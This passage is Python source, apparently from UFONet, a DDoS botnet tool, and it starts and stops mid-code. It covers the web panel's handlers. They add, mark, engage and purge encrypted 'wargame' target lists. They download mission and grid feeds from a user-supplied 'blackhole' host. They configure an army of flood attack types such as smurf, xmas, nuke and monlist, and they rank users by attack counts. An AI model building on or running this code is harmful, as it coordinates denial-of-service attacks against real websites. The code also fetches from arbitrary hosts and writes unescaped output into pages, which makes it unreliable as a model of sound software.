  2985. f.write(str(wargames))
  2986. f.write(end_mark)
  2987. f.close()
  2988. if page == "/cmd_sync_wargames_update":
  2989. if not os.path.exists('/tmp/out'):
  2990. open('/tmp/out', 'w').close()
  2991. with open('/tmp/out', 'r') as f:
  2992. stream = f.read()
  2993. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2994. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2995. if page == "/cmd_refresh_missions":
  2996. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2997. blackhole_ip = pGet["missions_source"]
  2998. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  2999. try:
  3000. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  3001. f = open(self.missions, "w") # write updates to missions.txt
  3002. f.write(missions)
  3003. f.close()
  3004. self.missions_text = missions
  3005. except:
  3006. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3007. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  3008. f = open("/tmp/out", "w")
  3009. f.write(str(missions))
  3010. f.write(end_mark)
  3011. f.close()
  3012. if page == "/cmd_refresh_missions_update":
  3013. if not os.path.exists('/tmp/out'):
  3014. open('/tmp/out', 'w').close()
  3015. with open('/tmp/out', 'r') as f:
  3016. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  3017. if page == "/cmd_refresh_ranking":
  3018. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3019. ranking_ip = pGet["ranking_source"]
  3020. ranking_ip = urllib.parse.unquote(ranking_ip)
  3021. try:
  3022. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3023. f = open(self.grid_file, "w") # write updates to grid.txt
  3024. f.write(ranking)
  3025. f.close()
  3026. self.ranking_text = ranking
  3027. except:
  3028. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3029. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  3030. f = open("/tmp/out", "w")
  3031. f.write(str(ranking))
  3032. f.write(end_mark)
  3033. f.close()
  3034. if page == "/cmd_refresh_ranking_update":
  3035. if not os.path.exists('/tmp/out'):
  3036. open('/tmp/out', 'w').close()
  3037. with open('/tmp/out', 'r') as f:
  3038. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  3039. if page == "/cmd_sync_grid":
  3040. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3041. blackhole_ip = pGet["grid_source"]
  3042. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3043. try:
  3044. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3045. f = open(self.grid_file, "w") # write updates to grid.txt
  3046. f.write(grid)
  3047. f.close()
  3048. self.grid_text = grid
  3049. except:
  3050. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3051. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3052. f = open("/tmp/out", "w")
  3053. f.write(str(grid))
  3054. f.write(end_mark)
  3055. f.close()
  3056. if page == "/cmd_sync_grid_update":
  3057. if not os.path.exists('/tmp/out'):
  3058. open('/tmp/out', 'w').close()
  3059. with open('/tmp/out', 'r') as f:
  3060. stream = f.read()
  3061. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3062. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  3063. if page == "/cmd_job_remove":
  3064. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  3065. try:
  3066. job_id = pGet["id"]
  3067. except:
  3068. job_id = ""
  3069. if job_id is not "":
  3070. self.list_wargames.reverse()
  3071. try:
  3072. job_task = self.list_wargames[(int(job_id)-1)]
  3073. f = open(self.wargames_file,"r")
  3074. ls = f.readlines()
  3075. f.close()
  3076. f = open(self.wargames_file,"w")
  3077. for l in ls:
  3078. if str(l) != str(job_task):
  3079. f.write(l)
  3080. f.close()
  3081. except:
  3082. pass
  3083. if page == "/cmd_job_remove_update":
  3084. if not os.path.exists('/tmp/out'):
  3085. open('/tmp/out', 'w').close()
  3086. with open('/tmp/out', 'r') as f:
  3087. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  3088. if page == "/cmd_job_remove_all":
  3089. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  3090. try:
  3091. key_params = pGet["key"]
  3092. sep = ","
  3093. key = key_params.rsplit(sep, 1)[0]
  3094. except:
  3095. key = ""
  3096. if key is not "":
  3097. try:
  3098. self.list_wargames.reverse()
  3099. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3100. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  3101. f = open(self.wargames_file,"r")
  3102. ls = f.readlines()
  3103. f.close()
  3104. f = open(self.wargames_file,"w")
  3105. sep = "#-#"
  3106. for l in ls:
  3107. job_estimated = l.rsplit(sep, 1)[1]
  3108. self.decrypt(key, job_estimated)
  3109. if self.decryptedtext:
  3110. job_estimated = self.decryptedtext
  3111. else:
  3112. job_estimated = now
  3113. self.decryptedtext = ""
  3114. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  3115. if (now >= job_estimated) == False: # -ONGOING-
  3116. f.write(l)
  3117. f.close()
  3118. except:
  3119. pass
  3120. if page == "/cmd_job_remove_all_update":
  3121. if not os.path.exists('/tmp/out'):
  3122. open('/tmp/out', 'w').close()
  3123. with open('/tmp/out', 'r') as f:
  3124. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  3125. if page == "/cmd_edit_supply":
  3126. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  3127. try:
  3128. supply_botnet = pGet["botnet"]
  3129. supply_loic = pGet["loic"]
  3130. supply_loris = pGet["loris"]
  3131. supply_ufosyn = pGet["ufosyn"]
  3132. supply_spray = pGet["spray"]
  3133. supply_smurf = pGet["smurf"]
  3134. supply_xmas = pGet["xmas"]
  3135. supply_nuke = pGet["nuke"]
  3136. supply_tachyon = pGet["tachyon"]
  3137. supply_monlist = pGet["monlist"]
  3138. except: # default global supply army
  3139. supply_botnet = 1
  3140. supply_loic = 0
  3141. supply_loris = 0
  3142. supply_ufosyn = 0
  3143. supply_spray = 0
  3144. supply_smurf = 0
  3145. supply_xmas = 0
  3146. supply_nuke = 0
  3147. supply_tachyon = 0
  3148. supply_monlist = 0
  3149. with open(self.mothership_supplycfg_file, "w") as f:
  3150. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4)
  3151. if page == "/cmd_job_add":
  3152. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  3153. try:
  3154. job_params = pGet["id"]
  3155. sep = ","
  3156. job_id = job_params.rsplit(sep, 1)[0]
  3157. except:
  3158. job_id = ""
  3159. if job_id is not "":
  3160. self.list_wargames.reverse()
  3161. try:
  3162. job_task = self.list_wargames[(int(job_id)-1)]
  3163. f = open(self.wargames_file,"r")
  3164. ls = f.readlines()
  3165. f.close()
  3166. f = open(self.wargames_file,"w")
  3167. sep = "#-#"
  3168. for l in ls:
  3169. if str(l) != str(job_task):
  3170. f.write(l)
  3171. else:
  3172. job_t2 = job_task.rsplit(sep, 1)[0]
  3173. job_creation = job_t2.rsplit(sep, 1)[0]
  3174. job_target = job_t2.rsplit(sep, 1)[1]
  3175. job_estimated = job_task.rsplit(sep, 1)[1]
  3176. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  3177. f.write(l)
  3178. f.close()
  3179. except:
  3180. pass
  3181. if page == "/cmd_job_add_update":
  3182. if not os.path.exists('/tmp/out'):
  3183. open('/tmp/out', 'w').close()
  3184. with open('/tmp/out', 'r') as f:
  3185. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  3186. if page == "/cmd_job_add_all":
  3187. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  3188. try:
  3189. self.list_wargames.reverse()
  3190. f = open(self.wargames_file,"r")
  3191. ls = f.readlines()
  3192. f.close()
  3193. f = open(self.wargames_file,"w")
  3194. sep = "#-#"
  3195. for l in ls:
  3196. job_t2 = l.rsplit(sep, 1)[0]
  3197. job_creation = job_t2.rsplit(sep, 1)[0]
  3198. job_target = job_t2.rsplit(sep, 1)[1]
  3199. job_estimated = l.rsplit(sep, 1)[1]
  3200. if not "!!!" in job_target:
  3201. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  3202. else:
  3203. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3204. f.write(l)
  3205. f.close()
  3206. except:
  3207. pass
  3208. if page == "/cmd_job_add_all_update":
  3209. if not os.path.exists('/tmp/out'):
  3210. open('/tmp/out', 'w').close()
  3211. with open('/tmp/out', 'r') as f:
  3212. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  3213. if page == "/cmd_job_cancel":
  3214. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  3215. try:
  3216. job_params = pGet["id"]
  3217. sep = ","
  3218. job_id = job_params.rsplit(sep, 1)[0]
  3219. except:
  3220. job_id = ""
  3221. if job_id is not "":
  3222. self.list_wargames.reverse()
  3223. try:
  3224. job_task = self.list_wargames[(int(job_id)-1)]
  3225. f = open(self.wargames_file,"r")
  3226. ls = f.readlines()
  3227. f.close()
  3228. f = open(self.wargames_file,"w")
  3229. for l in ls:
  3230. if str(l) != str(job_task):
  3231. f.write(l)
  3232. else:
  3233. sep = "#-#"
  3234. job_t2 = job_task.rsplit(sep, 1)[0]
  3235. job_creation = job_t2.rsplit(sep, 1)[0]
  3236. job_target = job_t2.rsplit(sep, 1)[1]
  3237. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3238. job_estimated = job_task.rsplit(sep, 1)[1]
  3239. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3240. f.write(l)
  3241. f.close()
  3242. except:
  3243. pass
  3244. if page == "/cmd_job_cancel_update":
  3245. if not os.path.exists('/tmp/out'):
  3246. open('/tmp/out', 'w').close()
  3247. with open('/tmp/out', 'r') as f:
  3248. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  3249. if page == "/cmd_job_cancel_all":
  3250. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  3251. try:
  3252. self.list_wargames.reverse()
  3253. f = open(self.wargames_file,"r")
  3254. ls = f.readlines()
  3255. f.close()
  3256. f = open(self.wargames_file,"w")
  3257. sep = "#-#"
  3258. for l in ls:
  3259. job_t2 = l.rsplit(sep, 1)[0]
  3260. job_creation = job_t2.rsplit(sep, 1)[0]
  3261. job_target = job_t2.rsplit(sep, 1)[1]
  3262. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3263. job_estimated = l.rsplit(sep, 1)[1]
  3264. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3265. f.write(l)
  3266. f.close()
  3267. except:
  3268. pass
  3269. if page == "/cmd_job_cancel_all_update":
  3270. if not os.path.exists('/tmp/out'):
  3271. open('/tmp/out', 'w').close()
  3272. with open('/tmp/out', 'r') as f:
  3273. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  3274. if page == "/cmd_job_filter":
  3275. try:
  3276. job_filter = pGet["filter"]
  3277. job_key = pGet["key"]
  3278. except:
  3279. job_filter = "creation"
  3280. job_key = str(self.crypto_key)
  3281. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  3282. nodec_text = "KEY?"
  3283. try:
  3284. wargames_items=[]
  3285. with open(self.wargames_file) as f:
  3286. ls = f.read().splitlines()
  3287. f.close()
  3288. f = open(self.wargames_file,"w")
  3289. for j in ls:
  3290. if wargames_msg_sep in j:
  3291. m = j.split(wargames_msg_sep)
  3292. wargames_creation = m[0] # creation date
  3293. self.decrypt(job_key, wargames_creation)
  3294. if self.decryptedtext:
  3295. wargames_creation = self.decryptedtext
  3296. else:
  3297. wargames_creation = nodec_text
  3298. self.decryptedtext = "" # clean decryptedtext buffer
  3299. wargames_target = m[1] # target
  3300. self.decrypt(job_key, wargames_target)
  3301. if self.decryptedtext:
  3302. wargames_target = self.decryptedtext
  3303. if wargames_target.startswith("www."):
  3304. wargames_target = wargames_target.replace("www.","")
  3305. else:
  3306. wargames_target = nodec_text
  3307. self.decryptedtext = "" # clean decryptedtext buffer
  3308. wargames_estimated = m[2] # estimated date
  3309. self.decrypt(job_key, wargames_estimated)
  3310. if self.decryptedtext:
  3311. wargames_estimated = self.decryptedtext
  3312. else:
  3313. wargames_estimated = nodec_text
  3314. self.decryptedtext = "" # clean decryptedtext buffer
  3315. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3316. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3317. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  3318. if job_filter == "creation":
  3319. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3320. elif job_filter == "target":
  3321. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  3322. elif job_filter == "estimated":
  3323. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  3324. else:
  3325. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3326. for i in wargames_items:
  3327. wargames_creation = i[0]
  3328. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3329. self.encrypt(job_key, wargames_creation)
  3330. if self.encryptedtext:
  3331. wargames_creation = self.encryptedtext
  3332. self.encryptedtext = "" # clean encryptedtext buffer
  3333. wargames_target = str(i[1])
  3334. self.encrypt(job_key, wargames_target)
  3335. if self.encryptedtext:
  3336. wargames_target = self.encryptedtext
  3337. self.encryptedtext = "" # clean encryptedtext buffer
  3338. wargames_estimated = i[2]
  3339. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3340. self.encrypt(job_key, wargames_estimated)
  3341. if self.encryptedtext:
  3342. wargames_estimated = self.encryptedtext
  3343. self.encryptedtext = "" # clean encryptedtext buffer
  3344. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  3345. f.write(l + os.linesep)
  3346. f.close()
  3347. except:
  3348. pass
  3349. if page == "/cmd_job_filter_update":
  3350. if not os.path.exists('/tmp/out'):
  3351. open('/tmp/out', 'w').close()
  3352. with open('/tmp/out', 'r') as f:
  3353. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  3354. if page == "/cmd_grid_filter":
  3355. try:
  3356. grid_filter = pGet["filter"]
  3357. grid_key = pGet["key"]
  3358. except:
  3359. grid_filter = "missions" # default grid order by
  3360. grid_key = str(self.crypto_key)
  3361. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  3362. nodec_text = "KEY?"
  3363. nodec_num = 0
  3364. try:
  3365. grid_items=[]
  3366. with open(self.grid_file) as f:
  3367. ls = f.read().splitlines()
  3368. f.close()
  3369. f = open(self.grid_file,"w")
  3370. for j in ls:
  3371. if grid_msg_sep in j:
  3372. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  3373. m = j.split(grid_msg_sep)
  3374. grid_nickname = m[0] # nickname
  3375. self.decrypt(grid_key, grid_nickname)
  3376. if self.decryptedtext:
  3377. grid_nickname = str(self.decryptedtext)
  3378. else:
  3379. grid_nickname = nodec_text
  3380. self.decryptedtext = "" # clean decryptedtext buffer
  3381. grid_ranking = m[1] # ranking
  3382. self.decrypt(grid_key, grid_ranking)
  3383. if self.decryptedtext:
  3384. try:
  3385. grid_ranking = int(self.decryptedtext)
  3386. except:
  3387. grid_ranking = nodec_num
  3388. else:
  3389. grid_ranking = nodec_num
  3390. self.decryptedtext = "" # clean decryptedtext buffer
  3391. grid_totalchargo = m[2] # total chargo
  3392. self.decrypt(grid_key, grid_totalchargo)
  3393. if self.decryptedtext:
  3394. try:
  3395. grid_totalchargo = int(self.decryptedtext)
  3396. except:
  3397. grid_totalchargo = nodec_num
  3398. else:
  3399. grid_totalchargo = nodec_num
  3400. self.decryptedtext = "" # clean decryptedtext buffer
  3401. grid_dorking = m[3] # dorking
  3402. self.decrypt(grid_key, grid_dorking)
  3403. if self.decryptedtext:
  3404. try:
  3405. grid_dorking = int(self.decryptedtext)
  3406. except:
  3407. grid_dorking = nodec_num
  3408. else:
  3409. grid_dorking = nodec_num
  3410. self.decryptedtext = "" # clean decryptedtext buffer
  3411. grid_transferred = m[4] # transferred
  3412. self.decrypt(grid_key, grid_transferred)
  3413. if self.decryptedtext:
  3414. try:
  3415. grid_transferred = int(self.decryptedtext)
  3416. except:
  3417. grid_transferred = nodec_num
  3418. else:
  3419. grid_transferred = nodec_num
  3420. self.decryptedtext = "" # clean decryptedtext buffer
  3421. grid_maxchargo = m[5] # maxchargo
  3422. self.decrypt(grid_key, grid_maxchargo)
  3423. if self.decryptedtext:
  3424. try:
  3425. grid_maxchargo = int(self.decryptedtext)
  3426. except:
  3427. grid_maxchargo = nodec_num
  3428. else:
  3429. grid_maxchargo = nodec_num
  3430. self.decryptedtext = "" # clean decryptedtext buffer
  3431. grid_missions = m[6] # missions
  3432. self.decrypt(grid_key, grid_missions)
  3433. if self.decryptedtext:
  3434. try:
  3435. grid_missions = int(self.decryptedtext)
  3436. except:
  3437. grid_missions = nodec_num
  3438. else:
  3439. grid_missions = nodec_num
  3440. self.decryptedtext = "" # clean decryptedtext buffer
  3441. grid_attacks = m[7] # attacks
  3442. self.decrypt(grid_key, grid_attacks)
  3443. if self.decryptedtext:
  3444. try:
  3445. grid_attacks = int(self.decryptedtext)
  3446. except:
  3447. grid_attacks = nodec_num
  3448. else:
  3449. grid_attacks = nodec_num
  3450. self.decryptedtext = "" # clean decryptedtext buffer
  3451. grid_loic = m[8] # loic
  3452. self.decrypt(grid_key, grid_loic)
  3453. if self.decryptedtext:
  3454. try:
  3455. grid_loic = int(self.decryptedtext)
  3456. except:
  3457. grid_loic = nodec_num
  3458. else:
  3459. grid_loic = nodec_num
  3460. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  3461. grid_loris = m[9] # loris
  3462. self.decrypt(grid_key, grid_loris)
  3463. if self.decryptedtext:
  3464. try:
  3465. grid_loris = int(self.decryptedtext)
  3466. except:
  3467. grid_loris = nodec_num
  3468. else:
  3469. grid_loris = nodec_num
  3470. self.decryptedtext = "" # clean decryptedtext buffer
  3471. else:
  3472. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3473. self.decrypt(grid_key, grid_loris)
  3474. if self.decryptedtext:
  3475. try:
  3476. grid_loris = int(self.decryptedtext)
  3477. except:
  3478. grid_loris = nodec_num
  3479. else:
  3480. grid_loris = nodec_num
  3481. self.decryptedtext = "" # clean decryptedtext buffer
  3482. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  3483. grid_ufosyn = m[10] # ufosyn
  3484. self.decrypt(grid_key, grid_ufosyn)
  3485. if self.decryptedtext:
  3486. try:
  3487. grid_ufosyn = int(self.decryptedtext)
  3488. except:
  3489. grid_ufosyn = nodec_num
  3490. else:
  3491. grid_ufosyn = nodec_num
  3492. self.decryptedtext = "" # clean decryptedtext buffer
  3493. else:
  3494. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3495. self.decrypt(grid_key, grid_ufosyn)
  3496. if self.decryptedtext:
  3497. try:
  3498. grid_ufosyn = int(self.decryptedtext)
  3499. except:
  3500. grid_ufosyn = nodec_num
  3501. else:
  3502. grid_ufosyn = nodec_num
  3503. self.decryptedtext = "" # clean decryptedtext buffer
  3504. if version > 17 or version == 17 or version == 16 or version == 15:
  3505. grid_spray = m[11] # spray
  3506. self.decrypt(grid_key, grid_spray)
  3507. if self.decryptedtext:
  3508. try:
  3509. grid_spray = int(self.decryptedtext)
  3510. except:
  3511. grid_spray = nodec_num
  3512. else:
  3513. grid_spray = nodec_num
  3514. self.decryptedtext = "" # clean decryptedtext buffer
  3515. else:
  3516. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3517. self.decrypt(grid_key, grid_spray)
  3518. if self.decryptedtext:
  3519. try:
  3520. grid_spray = int(self.decryptedtext)
  3521. except:
  3522. grid_spray = nodec_num
  3523. else:
  3524. grid_spray = nodec_num
  3525. self.decryptedtext = "" # clean decryptedtext buffer
  3526. if version > 17 or version == 17 or version == 16 or version == 15:
  3527. grid_smurf = m[12] # smurf
  3528. self.decrypt(grid_key, grid_smurf)
  3529. if self.decryptedtext:
  3530. try:
  3531. grid_smurf = int(self.decryptedtext)
  3532. except:
  3533. grid_smurf = nodec_num
  3534. else:
  3535. grid_smurf = nodec_num
  3536. self.decryptedtext = "" # clean decryptedtext buffer
  3537. else:
  3538. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3539. self.decrypt(grid_key, grid_smurf)
  3540. if self.decryptedtext:
  3541. try:
  3542. grid_smurf = int(self.decryptedtext)
  3543. except:
  3544. grid_smurf = nodec_num
  3545. else:
  3546. grid_smurf = nodec_num
  3547. self.decryptedtext = "" # clean decryptedtext buffer
  3548. if version > 17 or version == 17 or version == 16 or version == 15:
  3549. grid_xmas = m[13] # xmas
  3550. self.decrypt(grid_key, grid_xmas)
  3551. if self.decryptedtext:
  3552. try:
  3553. grid_xmas = int(self.decryptedtext)
  3554. except:
  3555. grid_xmas = nodec_num
  3556. else:
  3557. grid_xmas = nodec_num
  3558. self.decryptedtext = "" # clean decryptedtext buffer
  3559. else:
  3560. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3561. self.decrypt(grid_key, grid_xmas)
  3562. if self.decryptedtext:
  3563. try:
  3564. grid_xmas = int(self.decryptedtext)
  3565. except:
  3566. grid_xmas = nodec_num
  3567. else:
  3568. grid_xmas = nodec_num
  3569. self.decryptedtext = "" # clean decryptedtext buffer
  3570. if version > 17 or version == 17 or version == 16:
  3571. grid_nuke = m[14] # nuke
  3572. self.decrypt(grid_key, grid_nuke)
  3573. if self.decryptedtext:
  3574. try:
  3575. grid_nuke = int(self.decryptedtext)
  3576. except:
  3577. grid_nuke = nodec_num
  3578. else:
  3579. grid_nuke = nodec_num
  3580. self.decryptedtext = "" # clean decryptedtext buffer
  3581. else:
  3582. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3583. self.decrypt(grid_key, grid_nuke)
  3584. if self.decryptedtext:
  3585. try:
  3586. grid_nuke = int(self.decryptedtext)
  3587. except:
  3588. grid_nuke = nodec_num
  3589. else:
  3590. grid_nuke = nodec_num
  3591. self.decryptedtext = "" # clean decryptedtext buffer
  3592. if version > 17 or version == 17:
  3593. grid_tachyon = m[15] # tachyon
  3594. self.decrypt(grid_key, grid_tachyon)
  3595. if self.decryptedtext:
  3596. try:
  3597. grid_tachyon = int(self.decryptedtext)
  3598. except:
  3599. grid_tachyon = nodec_num
  3600. else:
  3601. grid_tachyon = nodec_num
  3602. self.decryptedtext = "" # clean decryptedtext buffer
  3603. else:
  3604. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3605. self.decrypt(grid_key, grid_tachyon)
  3606. if self.decryptedtext:
  3607. try:
  3608. grid_tachyon = int(self.decryptedtext)
  3609. except:
  3610. grid_tachyon = nodec_num
  3611. else:
  3612. grid_tachyon = nodec_num
  3613. self.decryptedtext = "" # clean decryptedtext buffer
  3614. if version > 17:
  3615. grid_monlist = m[16] # monlist
  3616. self.decrypt(grid_key, grid_monlist)
  3617. if self.decryptedtext:
  3618. try:
  3619. grid_monlist = int(self.decryptedtext)
  3620. except:
  3621. grid_monlist = nodec_num
  3622. else:
  3623. grid_monlist = nodec_num
  3624. self.decryptedtext = "" # clean decryptedtext buffer
  3625. else:
  3626. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  3627. self.decrypt(grid_key, grid_monlist)
  3628. if self.decryptedtext:
  3629. try:
  3630. grid_monlist = int(self.decryptedtext)
  3631. except:
  3632. grid_monlist = nodec_num
  3633. else:
  3634. grid_monlist = nodec_num
  3635. self.decryptedtext = "" # clean decryptedtext buffer
  3636. if version > 17:
  3637. grid_contact = m[17] # contact
  3638. self.decrypt(grid_key, grid_contact)
  3639. if self.decryptedtext:
  3640. grid_contact = self.decryptedtext
  3641. else:
  3642. grid_contact = nodec_text
  3643. self.decryptedtext = "" # clean decryptedtext buffer
  3644. grid_id = m[18] # id
  3645. elif version == 17:
  3646. grid_contact = m[16] # contact
  3647. self.decrypt(grid_key, grid_contact)
  3648. if self.decryptedtext:
  3649. grid_contact = self.decryptedtext
  3650. else:
  3651. grid_contact = nodec_text
  3652. self.decryptedtext = "" # clean decryptedtext buffer
  3653. grid_id = m[17] # id
  3654. elif version == 16:
  3655. grid_contact = m[15] # contact
  3656. self.decrypt(grid_key, grid_contact)
  3657. if self.decryptedtext:
  3658. grid_contact = self.decryptedtext
  3659. else:
  3660. grid_contact = nodec_text
  3661. self.decryptedtext = "" # clean decryptedtext buffer
  3662. grid_id = m[16] # id
  3663. elif version == 15:
  3664. grid_contact = m[14] # contact
  3665. self.decrypt(grid_key, grid_contact)
  3666. if self.decryptedtext:
  3667. grid_contact = self.decryptedtext
  3668. else:
  3669. grid_contact = nodec_text
  3670. self.decryptedtext = "" # clean decryptedtext buffer
  3671. grid_id = m[15] # id
  3672. elif version == 12:
  3673. grid_contact = m[11] # contact
  3674. self.decrypt(grid_key, grid_contact)
  3675. if self.decryptedtext:
  3676. grid_contact = self.decryptedtext
  3677. else:
  3678. grid_contact = nodec_text
  3679. self.decryptedtext = "" # clean decryptedtext buffer
  3680. grid_id = m[12] # id
  3681. elif version == 11:
  3682. grid_contact = m[10] # contact
  3683. self.decrypt(grid_key, grid_contact)
  3684. if self.decryptedtext:
  3685. grid_contact = self.decryptedtext
  3686. else:
  3687. grid_contact = nodec_text
  3688. self.decryptedtext = "" # clean decryptedtext buffer
  3689. grid_id = m[11] # id
  3690. elif version == 10:
  3691. grid_contact = m[9] # contact
  3692. self.decrypt(grid_key, grid_contact)
  3693. if self.decryptedtext:
  3694. grid_contact = self.decryptedtext
  3695. else:
  3696. grid_contact = nodec_text
  3697. self.decryptedtext = "" # clean decryptedtext buffer
  3698. grid_id = m[10] # id
  3699. else:
  3700. grid_contact = nodec_text
  3701. grid_id = '6666666666666666666666666666666666666' # fake id
  3702. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)])
  3703. if grid_filter == "nickname":
  3704. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3705. elif grid_filter == "ranking":
  3706. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3707. elif grid_filter == "chargo":
  3708. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3709. elif grid_filter == "dorking":
  3710. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3711. elif grid_filter == "transferred":
  3712. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3713. elif grid_filter == "maxchargo":
  3714. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3715. elif grid_filter == "missions":
  3716. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3717. elif grid_filter == "attacks":
  3718. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3719. elif grid_filter == "loic":
  3720. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3721. elif grid_filter == "loris":
  3722. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  3723. elif grid_filter == "ufosyn":
  3724. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3725. elif grid_filter == "spray":
  3726. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3727. elif grid_filter == "smurf":
  3728. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3729. elif grid_filter == "xmas":
  3730. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
